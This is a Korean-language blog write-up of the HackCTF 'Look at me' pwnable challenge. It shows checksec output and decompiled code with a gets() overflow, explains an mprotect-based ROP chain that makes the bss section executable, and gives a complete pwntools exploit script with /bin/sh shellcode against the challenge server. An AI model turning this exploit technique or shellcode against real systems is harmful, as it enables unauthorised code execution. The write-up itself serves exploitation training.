메로나
[HackCTF] Look at me (350) write-up 본문
간만의 라이트업....!
1. 보호기법, 파일 체크
gef➤ checksec
[+] checksec for '/root/pwn/HackCTF/lookatme/lookatme'
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
➜ lookatme file lookatme
lookatme: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=d2a1b10d006e4d6c4e84305383b4dc86481d87da, not stripped
statically linked에 주의하고 문제를 봐야됨.
2. Hex-Ray
메인이랑 문제가 되는 look_at_me 만 보면 아래와 같음
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ST1C_4
setvbuf(stdout, 0, 2, 0);
v3 = getegid();
setresgid(v3, v3, v3);
look_at_me();
return 0;
}
int look_at_me()
{
char v1; // [esp+0h] [ebp-18h]
puts("Hellooooooooooooooooooooo");
return gets(&v1);
}
걍 gets로 받으니까 오버플로우 터지는건 확인할 수 있는데 이걸 어떻게 이용하냐가 관건.
statically linked 되어있어서 system 함수도 Hoxy 하고 보니까 당연히 없음.
그래서 어케해야하는지 고민하면서 라젠카를 계속 뒤져봤는데 "mmap, mprotect ROP" 라는게 있음.
그 중에서 내가 사용한게 mprotect인데 이 함수는 인자로 주어진 영역의 권한을 바꿀 수 있음. 다시 말하면 NX 안걸린곳에다가 쉘코드 박고 실행권한을 줄 수 있다는 뜻.
그래서 bss에다가 쉘코드 박아두고 mprotect로 인자 이리저리 줘서 bss에 있는 쉘코드 실행시키면 될 듯. mprotect에 인자 줄 때는 0x1000 단위로 줘야해서 bss영역 그냥 주지 말고 값 맞춰서 넣어주면 됨.
3. Exploit
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3017)
#p = process('./lookatme')
e = ELF('./lookatme')
gets_addr = e.symbols['gets']
mprotect_addr = e.symbols['mprotect']
pr = 0x080483ca
pppr = 0x080483c8
bss = 0x080eaf80
bss_start = 0x080ea000
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'
payload = "A" * (0x18 + 4)
payload += p32(gets_addr)
payload += p32(pr)
payload += p32(bss)
payload += p32(mprotect_addr)
payload += p32(pppr)
payload += p32(bss_start)
payload += p32(0x2000)
payload += p32(0x7)
payload += p32(bss)
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
bss에 쉘코드 gets함수로 받아주고 mprotect 갖고와서 pppr로 인자 맞춰서 주고 bss로 ret 돌리면 쉘코드 실행됨.
'Wargame & CTF > Pwnable' 카테고리의 다른 글
[HackCTF] Pwning (300) write-up (0) | 2020.12.22 |
---|---|
[HackCTF] Gift (250) write-up (0) | 2020.12.22 |
[HackCTF] RTL_Core (250) write-up (0) | 2020.10.19 |
[BalCCon2k20] mindgames_1336 write-up (0) | 2020.09.29 |
[HackCTF] Random Key (200) write-up (0) | 2020.09.01 |